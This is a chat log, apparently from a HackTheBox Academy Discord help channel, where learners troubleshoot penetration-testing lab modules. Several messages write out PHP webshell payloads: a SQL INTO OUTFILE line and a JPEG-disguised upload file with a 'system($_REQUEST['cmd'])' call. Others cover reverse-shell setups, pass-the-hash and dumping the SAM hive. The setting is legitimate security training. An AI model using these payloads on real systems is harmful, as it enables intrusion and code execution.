modules

[fathom pendant]

If it's in context of a command then there'll be a command surround it

[wintry pine]

Thank you so much! That is changing how I understand the material as a read it. thats an unlock for me.

[fathom pendant]

Most modern tools use -p to denote the port, with netcat, -p is used to denote the port binding on your system i.e. connecting to a target from your machine's specific port

[tidal kelp]

shout-out to @pine dagger without him, i can't finish Whitebox 101 module

[fathom pendant]

sudo nc -p 53 ip port will bind port 53 as your connection port to the target port

[wintry pine]

🤯

[fathom pendant]

Whereas ssh user@ip -p port means you're using ssh to connect to a target on that port (without -p, the port is implied default)

[wintry pine]

ahh - originally when I tried to answer the question I was thinking I needed to use this function - but first had to somehow find out how to gain the User info.

[fathom pendant]

nope since netcat was discussed in this section; that's what they're expecting you to use

[worldly patrol]

Anyone completed Advanced XSS and CSRF module

[safe marsh]

Hi community,

I'm having trouble with the "WINDOWS EVENT LOGS & FINDING EVIL: Tapping Into ETW" module lab.

SilkETW can't collect PID Parent Spoofing activity. I already executed it three times, no activity logged in etw.json file. The Process ID of spoolsv.exe is not searchable.

Did anybody experience this? Thanks.

[potent ermine]

I had the same issue, it seems like the format changed from the time the original module was created. I basically ran a powershell command to search the etw.json for the string 'Seatbelt' and saved it to a output text file. In the lecture, the answer is next to "ManagedInteropMethodName", so I searched for that string in the output text file.

[safe marsh]

Thank you! I found the answer. I did not realize about the format update. I got stuck here for weeks. 😅

[safe dock]

Guys do we have to follow the order to access the next box in season 4 challenge

[thorn urchin]

doesnt have anything to do with modules, read #rules and #welcome

[safe marsh]

I did different approach. I used the search PRINT command in chainsaw and got the same output. As fas as I know, it's already in UTC 2019-03-17T19:30:30.324836Z and I'm stuck right now 😅

The question did not mention to convert the time in UTC either. How did you get the correct time?

[manic lantern]

I assumed the creator made the box in the US and corrected for that.

Took me a few tries though I had to adjust by -8 hours.

[ivory tide]

Hi Hi, any moderator or administrator around? I can't seem to identify my htb account

[autumn pilot]

I didn't expect to be saying this, but please be mindful when someone reaches out to you in DMs asking to verify the approach of solving an exercise, e.g., compare notes, etc. Consider if he wants to understand the exercise or get your notes to get the flag at the end. Thank you. Remember, you've put effort into understanding the topics and the exercises.

[fathom pendant]

It's a main reason I decline unless it's just a switch of the frame of mind and spoilers get involved.

[manic lantern]

I don't mind sanity checks, but at least show me what you have tried so far and your way of working towards a solution.

[placid edge]

whenever i ask for sanity cheks the first message should be: what have i tried, what domains/subdomains have i found, what ports have i found ect

so i can get a clear view of if i am missing something early on

this way i dont ask for payloads, but more of missing piece of information and i get actually get a sanity check for missing information or if i just cant get the exploit chain working

[fathom pendant]

"Did you look at the thing?" Or "well... what can you do with x"

I.e. not all hashes need to be cracked

[placid edge]

pth?

[fathom pendant]

Yep

It's easy to think though "well I got a hash, can I crack it?"

When, with windows, the NT hash is as good as a password

[placid edge]

ill admit, that before i started the ad module, i was one of them

[fathom pendant]

Well because you just spent a module all about cracking hashes and passwords

And some pth

[placid edge]

more about all i've done before the cpts module is linux machines, and its usually crack the hash

windows has opened my eyes lol

[last scarab]

Hi ! I come here to search for help about the monitored Room, is it the right place to ask for help ?

[limber river]

#1195788403384516738

[last scarab]

Thanks but I don't have access to this channel

[fathom pendant]

This channel is for academy modules, you can access more of the server by following #welcome

Aka generally the first place to look when joining any server

[last scarab]

Okay no problem, Thxs

[sinful olive]

Module: **WINDOWS PRIVILEGE ESCALATION ** - Miscellaneous Techniques
I don't understand the module - Cannot change the Always Install Elevated
settings - when I try to access Local Group Policy - I get access denied. How am I suppose to change the settings then? It is the first step..
Thanks!

[next bronze]

it's about how that setting can be used to elevate privilege if it's enabled, if you're testing it against the target machine you don't have admin rights to enable it

[open mica]

I’ve just started the senior web penetration tester path. What is the preferred method of providing feedback on any modules (either for tips to improve content or to report errors?)

[silver iris]

In the "Attacking Common Services - Skill Assesment easy",|| i found the flag using "select LOAD_FILE ...", but wasnt able to get a webshell.
For the webshell i tried somehting like "SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/xampp/webshell.php'" for a PoC, like mentioned in the module. The command executed with no errors, but the directory stays empty and when going to the path, i get "not found". Anyone an idea why?||

[fathom pendant]

#858470491676737536 is for suggesting fixes/alterations to modules

[fathom pendant]

Using full paths helps, also if you wanna see where it goes, repeat the command and it'll tell you the file path already exists

Write manually

[quick crane]

bro now I have a same problem I need your help,can I dm you

[fathom pendant]

Rewriting things in your own words is proven to improve retention

[quick magnet]

hi i have problem in Out-of-Band DNS
section, find flag but not full flag its weird

[silver iris]

Should i guess the path, or is there a way to find out? I mean i kinda guessed where to flag was aswell.

[fathom pendant]

Knowing where webroots are helps

It's something you can google

[rapid hollow]

hello

[quick magnet]

nvm solved

[strange spindle]

I'm struggling to understand the reasoning behind and the concept of unmanaged PowerShell injection after reading the module several times over.

Is the point of this technique so that attackers can avoid detection by injecting powershell.exe into unmanaged processes so that arbitrary code execution can take place (through PowerShell) under the guise of legitimate processes?

[fathom pendant]

Yes

[past scaffold]

hey, does the basic_bruteforce.py work on question2 in Broken Authentication: Weak Bruteforce Protections ??

[surreal orchid]

Hello

i've a problem in Footprints medium lab...
I try to get the important file but i have an error and can't figured it out 😦

[analog dock]

Mate you’re getting automodded lol

Stop trying to send it

[surreal orchid]

Well i don't know why xD

[analog dock]

Just ask your question

[surreal orchid]

btw :
i've a problem in Footprints medium lab...
I try to get the important file but i have an error and can't figured it out 😦
smb: > get important.txt
Error opening local file important.txt

(i'm logged on smb serv)

[analog dock]

What folder are you in on your host?

[surreal orchid]

I'm in devshare

[analog dock]

Your host

Not the smb share

[surreal orchid]

A custom folder on desktop (/home/kali/Desktop/HTB/test/)

[fathom pendant]

Weird

[analog dock]

Strange

[fathom pendant]

You can access that file via rdp anyway

[analog dock]

That too

But you’re using smbclient -U alex \\\\<ip>\\devshare ?

[surreal orchid]

i'm using : smbclient -U alex //<IP>/devshare

[fathom pendant]

Functionally the same

[analog dock]

Should be the same

[surreal orchid]

yeah 😦

[fathom pendant]

rdp you can view the file ¯_(ツ)_/¯

[surreal orchid]

Okay i'l try that

[surreal orchid]

https://tenor.com/view/work-socks-sponebob-covering-face-krusty-krab-gif-4904461045554547636

[analog dock]

Gg embed

[surreal orchid]

Give me your computer

[lusty thicket]

i think you just need to modify it a little bit

[surreal orchid]

😄

[past scaffold]

yeah sure, i modified it i added the X-Forwarded header but its does not work ? i use the .csv wordlist provided in the script

i also tried to modify and change the value of this header after in every request, but it didn't work

[lusty thicket]

you don’t bruteforce the second question

send a request with an authorizated x-forwarded header

😉

[sinful olive]

Ok thanks for your answer.. but still - I try to get the reverse shell to work, but it doesn't, and I have a feeling that it because I don't have that enabled..
This is written at the end of the section: This issue can be mitigated by disabling the two Local Group Policy settings mentioned above.

[past scaffold]

lol, thanks it worked, the description is not very clear of this question

[next bronze]

if it's not enabled then privesc using that wouldn't work, try another way to get the flag

[strange spindle]

Good to know I'm on the right track at least.

So I'm under the belief that PowerShell (cmdlets...?) are in C#... therefore, that's why we look to see if clr.dll and clrjit.dll are running because the presence of them running together under an unmanaged process is a tell tale sign that Common Language Runtime, the runtime environment needed to process the PowerShell (C#) code, is present, which then indicates potential injection...?

[fathom pendant]

I'm not sure lol I don't look deep into it. I'm just going off of base knowledge ¯_(ツ)_/¯

Thats something you can Google to find out

[rustic sage]

are there recommendations for things to do after completing htb getting started?

[limber river]

INFORMATION SECURITY path

[rustic sage]

is it recommended to subscribe to vip? or no

[limber river]

you mean the main platform ?

[rustic sage]

for htb yes

[limber river]

not really

[fathom pendant]

Vip has no bearing on academy

[rustic sage]

oh the getting started path for tier0-2 has half of them locked

behind vip

[fathom pendant]

Oh. Starting-point

Which is on the main labs site not academy, read #welcome to see how to access more of the server

[rustic sage]

identify doesn't work for some reason

[fathom pendant]

You need an account on https://app.hackthebox.com

[rustic sage]

I have one

[fathom pendant]

then ig you gotta message a mod/admin to get it sorted ¯_(ツ)_/¯

Usually what messes with it is your dms being closed

Which you can temporarily switch it to allow from same server

[rustic sage]

here we go again

should I use the seriusbreakrule?

[fathom pendant]

<@&861185840277487616>

[rustic sage]

yep that one

[fathom pendant]

✨ Fuck off ✨

[novel matrix]

Lol they left

[rustic sage]

somethings never change

[novel matrix]

message deleted

[fathom pendant]

[languid dawn]

smh

[fathom pendant]

I think longest I've seen shit like that was ~10 minutes

[rustic sage]

it's so common in cibersecurity servers

[fathom pendant]

Anyway here's some mods that might be able to help you link your account

[winged juniper]

hey hackers

[rustic sage]

oh no

[winged juniper]

someone help me please #1197141712435433583

[fathom pendant]

No

[winged juniper]

noob hackers

[fathom pendant]

It looks like a connection was made so I see no issues

[fathom pendant]

If you jump straight to insults, you're less likely to get help

Also this channel is for assistance with academy modules

Not some random shit you're doing

[jagged prairie]

in payloads and shells module, php shells section, last question, whatever php shell I upload it is just rendering as text, not sure what's preventing it from working properly

[fathom pendant]

What webshell are you using?

Did you upload it to the right place?

[jagged prairie]

I've tried with p0wnyshell and with wwwolf's PHP web shell listed in the text

[fathom pendant]

I was able to use wwwolf

[rustic sage]

I remember that module. I used wwwolf too. It should work

[jagged prairie]

I've definitely uploaded it to the right spot and it's just rendering as text

[fathom pendant]

Should be able to follow the section to a T

Are you intercepting with burp?

[jagged prairie]

yeah I've done everything right as far as I'm aware, maybe I'll reset the lab

[fathom pendant]

Change content-type?

[jagged prairie]

yeah I've tried with a couple of image file types as well

the shell is being uploaded, it's just not executing, it's printing the code to the page

[fathom pendant]

Should work with image/gif

[jagged prairie]

that's with image/gif, wwwolf, reset lab etc

no idea why it won't work

[fathom pendant]

I dont recall having issues tbh

[jagged prairie]

finally got it working with a much smaller cmd shell from revshells. weird

[fathom pendant]

it's likely you may have needed to slightly change something in the php ¯_(ツ)_/¯

[next bronze]

are you using udp connection by any chance and some packets got dropped?

[jagged prairie]

nah i'm using TCP ¯_(ツ)_/¯

lol I figured it out, wget was adding a bunch of stuff to the start of the php files when I grabbed em from github, whoops

[next bronze]

https://tenor.com/view/zragon-infinity-monkey-funny-hit-head-gif-25650631

[fathom pendant]

just git clone it

[next bronze]

wget raw files only

[fathom pendant]

Also that

[jagged prairie]

lesson learned boiz

[fathom pendant]

All this sums up to : user error

[molten prawn]

hi

[languid dawn]

check the files you download

[dull thistle]

Module: OSINT: CORPORATE RECON
Section: Cloud Storage

I'm kind of stuck on finding the buckets name. I've tried the searchcode, grayhatwarfare & some Dorking but can't come up with anything when searching for several files.
Any tips?

[supple gorge]

I haven't done it cuz expensive.

But If it's related to a website, could you find the bucket name in the request?

Just ignore me, hopefully someone else can help

[dull thistle]

If it only was that easy 😄

[supple gorge]

What kind of info do you have to start with?

[dull thistle]

The question is: "Investigate the website and find the bucket name of AWS that the company used and submit it as the answer. (Format: sub.domain.tld)" from inlanefreight.com

And that's it really 😛 Some course content about searchcode, grayhatwarfare and google dorking

From the course content I think I'm supposed to search for the files somewhere

[supple gorge]

That's interesting. I'd check the network and look at the Post/get request as well as any API calls

[dull thistle]

yea done all that but it's not obvious 😛

or I'm looking over something but I've been at it for 2 days now >.<

[supple gorge]

It's been a while... I just remember a ctf challenge where I had to mess with buckets.

We could see that it was reaching for it to fetch the images so we got the address. Then I think there were some websites that did stuff.

Or maybe I directly tried to connect to it with aws' management cli... But I didn't take good notes so I don't remember.

Well... Maybe someone can help better. Does it have something with the ffuf module?

[tidal kelp]

are there any ongoing issues right now? have a hard time trying ssh:ing to machines

[dull thistle]

no, not the ffuf module.

[supple gorge]

Like subdomain enumeration

[dull thistle]

Nah it's OSINT and enumeration is not OSINT 😛

[tidal kelp]

hmm maybe its just Linux priv esc then

[dull thistle]

I'm probably missing something obvious so someone who did it could push me into the right direction 😛

[supple gorge]

That's true.

Maybe some link on the webpage redirects to the subdomain.

If it's the same standard inland freight website that exists in the other modules... I could probably try to wrack my head with you.

All I have is will, the expertise is still not get there hehe

[dull thistle]

good insights actually! Lemme look around!

[plain coral]

Manually review JavaScript files as well

[limber river]

can someone explain how snmpwalk dump all those strings , is it just reading OIDs or I am missing something ?

[next bronze]

I found it

[lusty thicket]

it collects output for each sub oid encountered during the walk and displays it to you

i think

[storm hedge]

I'm doing the labs for the pivoring module and I'm unable to connect to the remote Ubuntu server

At least, it's extremely slow

[dull thistle]

How did you find it? 😛 Was the subdomain the right direction?

[next bronze]

nope it's one of the main pages, just curl and grep

[dull thistle]

Mind if I DM you for a sec?

[next bronze]

go ahead

[marsh echo]

heyy anyone have an idea how by pass this problem even running powershell as administrator i can't see the hash from the SAM hive on windows11

[tribal rover]

did you manage to solve this? i am having the same issue, whereby i sanitized length and type and replaced with console.log

[next bronze]

what are you trying to run?

[marsh echo]

I'm trying to read the password hashes in a user's SAM table, should I read the nstd file directly? I'm trying to understand why even as an administrator I can't read the hashes.

cmd ```$registryPath = "HKLM:\SAM\SAM"
PS C:\WINDOWS\system32> try {

#

$registryItem = Get-Item -LiteralPath $registryPath


$registryProperties = Get-ItemProperty -LiteralPath $registryPath


$registryProperties

} catch {
Write-Host "Error: $_.Exception.Message"
}```

[next bronze]

the hives are locked on a live system, reg save first

[marsh echo]

is it possible to deactivate the protection to obtain the hash cache?

[spring moon]

Hi guys is there anyone have bad connection with the pwnbox? it's really slow and lagy for me when I connect

[lethal mulch]

İ think you need to change server

[spring moon]

I tried to change the server still very slow

[fathom pendant]

Pwnbox has a bunch of different servers some may be closer and less Laggy AFAIK the pwnbox server list shows latency

[spring moon]

I picked the lowest one with latency UK then DE

[fathom pendant]

Could be your network

[lethal mulch]

Maybe it's time to switch to premium

[next bronze]

afaik no, it's being used by the system itself, it's not just protection as much as it's needed for windows to function.

[fathom pendant]

Premium? Lol neither labs nor academy has "Premium" as a subscription option

[lethal mulch]

İ mean vip

[fathom pendant]

Ah this channel is regarding htb academy and modules

Not the main site

Read #welcome

Also fwiw just set up your own vm

[lethal mulch]

Ah I think I confused, sorry

[marsh echo]

I understand it would be necessary to copy the official hive into a new file ?

[next bronze]

yes, reg save or vss

[marsh echo]

I study reg save it’s cool thanks 🫡

[fathom pendant]

What module is this for btw? (Also I think password attacks or something goes over attacking SAM)

[marsh echo]

no it's not a module it was a question by chance because I was trying to access a registry but it was impossible for me to open it but thanks

[fathom pendant]

This channel is got academy modules, remember, so any other practice you should be looking at other channels to post

Like #1024429874246590575 or #homelab-sysadm

[median kettle]

anyone help me with the windows privilege escalation. im having trouble with my powershell

[next bronze]

meh i think asking related questions are fine

[marsh echo]

ah yes i'm sorry as I'm used to this channel I forgot who else had one

[median kettle]

trying to modify the druva powershell script to download a file to give me remote access but keep getting errors with the script

[fathom pendant]

It's just missing context imo

[novel zephyr]

Please who has completed the penetration testing path and is ready to share 🥺my license expired

[fathom pendant]

?

License?

[novel zephyr]

My subscription to the path

[fathom pendant]

Don't call me dear

[novel zephyr]

Sorry

[fathom pendant]

Second you don't subscribe to a path, do you mean like silver annual? Or the student one?

[novel zephyr]

Silver annual
On HTB enterprise

[floral condor]

Module: CROSS-SITE SCRIPTING (XSS)
Section: PHISHING

Problem:
After injecting the XSS payload and check that page is displayed as intended, I verify the login form with a netcat listener but the LISTENER DOESN'T RECEIVE ANYTHING.

I browsed through Discord for similar problem, but it still doesn't work (port change, double quotes). What am I missing? Page displays as intended, maybe something is still missing in the XSS payload?

[fathom pendant]

Enterprise is set up differently than regular, you're gonna have better luck contacting support

Fuck off

<@&861185840277487616>

[crimson urchin]

ok how to contact htb i didnot receive 500 cubes this month i received only 300

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[west rampart]

Have you upgraded the subscription?

[crimson urchin]

yes i have upgraded the subscription

[west rampart]

This is why you got the difference. You probably upgraded it in your current billing cycle. You will receive the full amount in the next billing cycyle.

[crimson urchin]

but i have paid my amount for 500 cubes

[west rampart]

I bet you paid the difference 🙂 Let's find out if you submit a ticket

[red whale]

Hola

[fathom pendant]

English server friend

[red whale]

Yea its true sorry 😁

[crimson urchin]

i cannot rise ticket from the academy

[fathom pendant]

If you can't see the support bubble, disable adblock

[crimson urchin]

i disabled it

[fathom pendant]

Pop-up blockers can also mess with it

[crimson urchin]

let me login throygh edge

[fathom pendant]

[crimson urchin]

ok now i got it

sent a message they didnot see yet

😦

[fathom pendant]

Be patient dude

They're likely answering other requests too

[floral condor]

Unfortunately yes

Yes, I put my IP as http and nc listening to 80. The Payload work and the page is reflected clean, but still netcat doesn't intercept nothing when I try to login

[fathom pendant]

Careful just sharing the answers/methods

I recommend if you're gonna continue to take to dm (and delete these)

[floral condor]

You mean me? I should delete?

[fathom pendant]

Yes

[floral condor]

Ok

[fathom pendant]

At it can still be considered a spoiler

I recommend you guys go to dms with this

[solid python]

Not the appropriate place to ask for issues with a VM or linux host

[sleek moss]

ok mybad

[solid python]

[fathom pendant]

Guys is gender neutral to mean multiple people

[solid python]

Let's knock it off with the thinly veiled transphobic comments

[pure sorrel]

For Attacking Enterprise Networks: Exploitation & Privilege Escalation, I set up proxy chains and dynamic port forwarding, but the DNN keeps quitting on me. I can access the login page after waiting for a long time, and once it let me get past the login page but would not load the SQL console. In the ssh session I get messages "channel __: open failed: connect failed: temporary failure in name resolution"
As I get these messages, the page will still load but just slowly, it's just eventually I end up with a "connection has timed out" error

[rustic sage]

I have used this command: smtp-user-enum adding -w 20 and it has worked, after a few hours…

[lofty wave]

As an update to this. I just finished this module and the tool listed here shows the domain needed to answer the course flag. 🙃

[vital adder]

noice, glad my old message still help

[solid python]

The sacred texts

[lofty wave]

Ya it was strange sublist3r wasn't consistent on listing the domain name. Had to run it 3 times before it would show up. The tool you mentioned works all the time. Along with the previous scans.

[fathom pendant]

https://tenor.com/view/the-maze-runner-scorch-trials-what-did-you-see-gif-10018764

[vital adder]

look into pivoting with tools such as look ligolo-ng but a standard ssh dynamic port forwarding will work just fine for this part, just use foxy proxy + firefox instead of something like proxychains + firefox

[floral condor]

Just want to share what happened for the CROSS-SITE SCRIPTING (XSS) module and the PHISHING session in case someone else has problems receiving the request in the NETCAT LISTENER.

The payload was right, but I copied it from a code block in Obsidian. I identified this code block as JavaScript.

What happened is that when I grab the copy from there and paste it on site, it misinterprets the IP... Just as happened here, when I copied the command (now deleted because that was against the rules). When I copied the command here the IP final part changed, I didn't know why, but it was modified, like encoded.

As soon as I removed the code block type from the Obsidian note where the payload was copied... The netcat listener worked and received the request.

Man, for many this was easy but for a person without code block experience, this troubleshooting was a blast.

[next bronze]

obsidian doesn't encode anything, you probably copied the url from your browser which was encoded

[fathom pendant]

^

Browser likely encoded the %20 (spaces)

[floral condor]

Guys I made my homework to narrow down the problem. If I copy the command from the Obsidian JavaScript code block here on Discord, the IP will result as changed... Only the IP. If you let me do it you will see

I think there is some sort of meta data embedded when you copy a command from an Obsidian code block that you identify as that language. Because when I copy it from a code block WITHOUT ANY IDENTIFICATION it worked

[next bronze]

so discord is encoding the url then. I can tell you for a fact that obsidian doesn't change anything in codeblocks, if it does I will be using another app for notes

[buoyant escarp]

currently doing PasswordAttacks / SAM
i did the manual way, now tried with crackmapexec, crazy how fast it is using this tool instead of manual 😄

[eager badger]

Hello team, user & root flag doesnt submit on Surveillance Machine: "Incorrect flag"

[fathom pendant]

Not the place, contact support

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[eager badger]

my bad

[fathom pendant]

@floral condor multi-line blocks are seen by discord as spam, you need to link your htb labs account to the discord to post them

[floral condor]

I think this is the occasion to test by yourself. You should try the part of the Phishing session where you make sure that nc listened for the credentials.
Put the working payload in a code-block in Obsidian, but specify inside of the code-block(on top) the kind of programming language used. Then put the payload in another neutral code-block, without specification. Maybe I'm wrong

[floral condor]

Here I copied it raw, without block

[fathom pendant]

There's no Metadata type translation going on

[pure sorrel]

I haven't tried with foxyproxy yet, I will give that a go. Thank you

[solid python]

the bots that manage and monitor the discord look at your messages differently depending on whether or not you are verified

[floral condor]

Thanks

[next bronze]

I have done that exercise and I know how obsidian works. the codeblock tag is just to tell obsidian what syntax to highlight it in, it doesn't change the behaviour of copying

[fathom pendant]

It's like copying colored output from terminal and being sad it doesn't paste colored as its just copying the underlying text

As the highlight is done on a separate layer/interpretation

[solid python]

Get-ChildItem -Path "C:\Users\Administrator\Desktop\Blah" -Filter *.json | ForEach-Object { Get-Content $_.FullName | Select-String -Pattern "goofygoober" } | ForEach-Object { $_.Line + "`n" }

Like so

[floral condor]

I guess you're right guys. I understand purpose of code-block, however I still don't understand why one worked and one not, by the way I unstuck and that is best part

[fathom pendant]

Skill issue. Maybe a slight difference

[solid python]

I've typoed payloads before

[fathom pendant]

It's OK blue teamer

[solid python]

[fathom pendant]

@oblique dove this is the better place to ask module questions btw

[short gulch]

I am stuck at "Practical Digital Forensics Scenario", I dont understand how on the basis of USN Journal I can find the process that created advanced_ip_scanner.exe

[solid python]

Timeline explorer 😄

[short gulch]

there is literally no other exe

[solid python]

These entries aren't sorted by time

[short gulch]

the screenshot has all the entries

[solid python]

It does not

[solid python]

You're filtering based on the entry number

[short gulch]

I still dont get it, If I scroll manually thru the whole list I see it was extracted from a .zip file. Idk what to search for

[solid python]

then you have to track the .zip

not the exe

[short gulch]

I have literally 0 clue

[solid python]

Well you already performed the needed steps to see that the .exe came from a .zip

just do the same to see where the .zip came from

[short gulch]

I found the .csv file

[solid python]

Unsure of what you're referring to

But I also can't say much without spoiling the answer

[fathom pendant]

you know that b come from a, now find a

[steep loom]

Hey man I am having the same problem and would love a hint if you figured it out 🙂

[long basin]

You can DM

[short gulch]

can this task just be done on the basis of USN Journal?

[alpine ridge]

Hi would anyone be able to help me with Active Directory module skills assessment 1 last question, read flag on DC01 desktop. I have creds for machine but can’t get access to read the flag but I can dcsync and dump all hashes for users on the dc I’ve also tricked cme smb -x to read the file but nothing works

[thorn urchin]

if you DCSync why not just log in as the Administrator

[alpine ridge]

No service open to login

[thorn urchin]

Yes there is

[lusty hearth]

I am working through the CSP part right now and modifying my payload. I am able to use the iframe tag but cant find much use with it. any reading or section of the module you can suggest to help put me in the right direction?

[alpine ridge]

Where abouts?

[misty current]

You can DM me.

[lusty hearth]

will do

[thorn urchin]

review your basic access methods for windows

[alpine ridge]

Done it was being stupid, thanks anyway

[onyx canopy]

Hi, I'm just getting started on the website- does completing sections in a module generally award additional cubes beyond the module reward? Or is it impossible to get a large amount of cubes without a subscription? I'm fine either way just wanna know what I'm getting into

[acoustic owl]

Each module shows you in advance how many cubes it costs and how many cubes you will get back.

[onyx canopy]

so you'd never get more cubes than you started with? fair enough

[buoyant escarp]

Nope

[analog dock]

Depends if you have the annual subscription

Then you earn cubes by finishing modules and don’t need to buy them individually

[onyx canopy]

mhm thanks

[pure sorrel]

Foxy proxy still doesn't work, I have ssh dynamic port forwarding running, I set the proxies in Firefox to manual: 127.0.0.1:8081 and my foxyproxy to the same. I've tried with both socks 4 and socks 5. I've also tried with procychains.conf file containing the same or without it. Is this just one of those "restart it until it works" times? Or is my configuration wrong? I've tried restarting a couple times

[gray shoal]

hello, i get this error after adding a group to the sudoers file, what to do? Warning: /etc/sudoers:25:24: Cmnd_Alias "NOPASSWD" referenced but not defined

[dreamy solar]

Hello everyone, I am doing the final exercise of this chapter: FILE UPLOAD ATTACKS, I managed to take all the information necessary to create a payload to create a reversed shell but I think I have a problem in my payload, could you help me?

����^@^PJFIF^@^A^A^A^A,^A,^@^@��^@dExif^@^@II*^@^H^@^@^@^B^@^N^A^B^@-^@^@^@&^@^>
<?php system($_REQUEST['cmd']);?>

[lusty thicket]

wrong file type

take a look at wikipedias list of file types

[umbral fulcrum]

hey guys, I have a Q on splukd
created a tarball, :
||splunk_shell/
splunk_shell/bin/
splunk_shell/bin/rev.py
splunk_shell/bin/run.bat
splunk_shell/bin/run.ps1
splunk_shell/default/
splunk_shell/default/inputs.conf||

in the ||rev.py|| I updated the IP & port, but I don't get a response from linux host, is there something I missed form the module?
https://academy.hackthebox.com/module/113/section/1213

[hallow remnant]

Module: Attacking Authentication Mechanisms
Section: Weak Public/Private Keys
https://academy.hackthebox.com/module/170/section/1674

The start of the section stipulates navigating to http://sp1.htb.net and logging in with credentials shared in the SAML section. However when I click on the "Login (Weak Public/Private Key)" hyperlink, I'm redirected to a "Metadata Not Found" page on idp1.htb.net (and never given an opportunity to enter any credentials (see screenshot below). I think I've made an administrative error of some kind in setting up the lab, but I'm not sure.

EDIT: resetting the lab twice got it working.

[umbral fulcrum]

I don't get a connection after updating the .spl file

[mossy bison]

can anyone help with the public exploits section in the getting started module, I can go over all ive done in dms and what exact step im stuck on, thanks!

[fathom pendant]

You can explain what you've done here

If it's nmap: getting you nowhere

[hidden trellis]

can anyone please help me with Advanced Deserialization Attacks - Example 1: JSON.. I have a payload but unable to get a shell

[rustic sage]

proxychains!!!

[tight mesa]

Hi there, is any HTB Moderator in the audience?, I'm trying to connect thru RDP to SeImpersonate and SeAssignPrimaryToken section Lab, but I' can't connect and getting a certificate error message

I rebooted the lab machine twice and same issue....

[tepid portal]

vv

[slender harness]

hey im new to hack the box and Im having trouble with my first lab: Documentation & Reporting.Im completely stuck on the first question: Connect to the testing VM using Xfreerdp and practice testing, documentation, and reporting against the target lab. Once the target spawns, browse to the WriteHat instance on port 443 and authenticate with the provided admin credentials. Play around with the tool and practice adding findings to the database to get a feel for the reporting tools available to us. Remember that all data will be lost once the target resets, so save any practice findings locally! Next, complete the in-progress penetration test. Once you achieve Domain Admin level access, submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host.

I dont want the answer I just want to learn the steps to find it. I literally just learned u have to connect to the hub like super noobie ;-;

[potent ermine]

I haven't done this particular module yet, but did you connect to the target VM using xfreerdp already?

[mossy bison]

i was doing other work, but i was able to use nmap scans and got the service running on port 22 and did a search for some exploits for that service which was OpenSSH 8.4p1 Debian 5+deb11u1. All i could find was a sid exploit which is exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection, there were a couple but this is the one i picked under sid but i picked this one i forgot why its been some hours since i was last on. when use the show options cmd im not sure what options i need to set. i know it says that any option that has yes needs to be set but i followed along with the section and just changed the RHOSTS and LHOST to what was shown and used check but got back an error. Am I using the wrong exploit search or am i supposed to find an ip to connect RHOSTS to and then keep LHOSTS tun0? Dm me with any helpful information thanks!

[slender harness]

i searched that up but dint know what to fill in for server and port since it gave me an error

[options] server[:port] [[options] server[:port] ...] I used this which i found on die.net

im like super new to everything since it isnt my major but im takin it as an elective

[potent ermine]

Ah okay, I believe server should be the the IP which was generated when you spawned the machine. Please refer to this article and it walks you through connecting to a VM via xfreerdp:
https://medium.com/@laupeiip/how-to-rdp-into-a-tryhackme-windows-machine-with-your-kali-vm-f637cf7422d1

FYI, you can follow the same steps from the Pwnbox instance that uses Parrot

[normal sand]

Wasn't sure which channel to publish this question in but since it's nmap related, I figured this was appropriate.

While performing an Nmap scan against a host, Paola determines the existence of a firewall.
In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

A. -sA
B. -sX
C. -sT
D. -sF

I think it's -sT since it attempts to establish a full connection, which will help with determining whether the firewall is stateful or stateless. But I'd love to hear your answers.

[slender harness]

thank you so much i just needed help starting it

[proper nacelle]

Is anyone around to help with footprinting medium lab

[misty current]

Have you found the solution for this? If not, here is the way.

But was this asked as part of a lab exercise? 🤔 Afaik, it was just mentioned for own researching

[tranquil axle]

That module is one of the last modules in the CPTS path and expects you to know a lot already, it’s probably not a good first module if you are new

[slender harness]

it was literally the first module for my class :'D the next one is footprinting

[next bronze]

your class? you're doing HTBA in school?

[tranquil axle]

Do you know the „draw the rest of the owl“ meme? That’s what this module is for beginners. It teaches you the theoretical aspects of documenting and that it is important (which is good to know as a beginner) but it ends with a „finish the pentest“ question for which you just aren’t equipped. So at least the final assessment is way out of scope for a first module but oh well

[slender harness]

CIS4200.001S24.16561 Penetration Testing :,D

[slender harness]

save me ;-;

[tranquil axle]

Well to finish the module you just have to write „Done“ I think, but if you actually wanna do the pentest Eeeeh

Oh nvm you do need the flag huh

[next bronze]

while it's great that you are doing that in school, documentation and reporting should absolutely not be the place to start if you're new, that module requires knowledge of all the previous modules, and is the second last module in the course. what is your instructor smoking?

[slender harness]

he made it due on saturday but every section is like 100+ words and word vomit

i dont htink imma enjoy the course

[slender harness]

i have no idea man its like a cs requirement

im an IT and this is my first hacking course

[tranquil axle]

There are only a few modules that have this much text without Praxis questions, most of the other modules are way more hands on

[slender harness]

thank u for the hope

[next bronze]

that's because you got thrown in the deepend without knowing the basics

I have no words other than your school should do better

[slender harness]

(they hate IT/Cybersecurity major)

they only give attention to med students or like compsci

[tranquil axle]

Is it possible for you to contact the instructor and ask about having to do the final question? Tell them you read the contents of the module and maybe practice a bit with the reporting tool and then tell them you don’t feel equipped to do the pentest yet with what you have learned so far

[wild coyote]

hi~

Brothers, is there any correlation? LD_PRELOADThe shooting range of environmental rights.

🥲

[slender harness]

im thinking of attending office hours and being like mn i dont get eny of this imma need extra help or extensions

[tranquil axle]

I don't think it's you that's the problem. I bet your instructor just looked at the names and general content of the module and figured it is a good theroy module to get started without realizing that the module belongs to a path and is at the very end of it. Someone just needs to make them aware that the module ends with a pretty hard question that you just aren't prepared for

[slender harness]

Yeah everything was going so well I’m just stuck on the lab question

Like I went back and tried to figure out how to do the lab but the beginning talks about documenting ur findings

And like scenarios of losing your work and having like a backup ? It’s completely different from the lab imo

[tranquil axle]

yup. It is module number 27 of 28 of the CPTS path and it expects you to know the content of various other modules like the Active Directory Module or Password Attacks. What it wants you to do isn't hard, but if you don't have the knowledge from the other modules you will be lost pretty quickly

the Footprinting Lab you mentioned is module 4 of 28 of the CPTS path, that one you can do a lot easier without any previous knowledge

[marble raft]

Hi guys! If anyone needs help on the Stack-Based Buffer Overflows modules(Linux and Windows) or Assembly modules feel free to dm

[latent glen]

Okay I have to get something off my chest.

Hack the Box is INCREDIBLE! Truly, thank you guys!
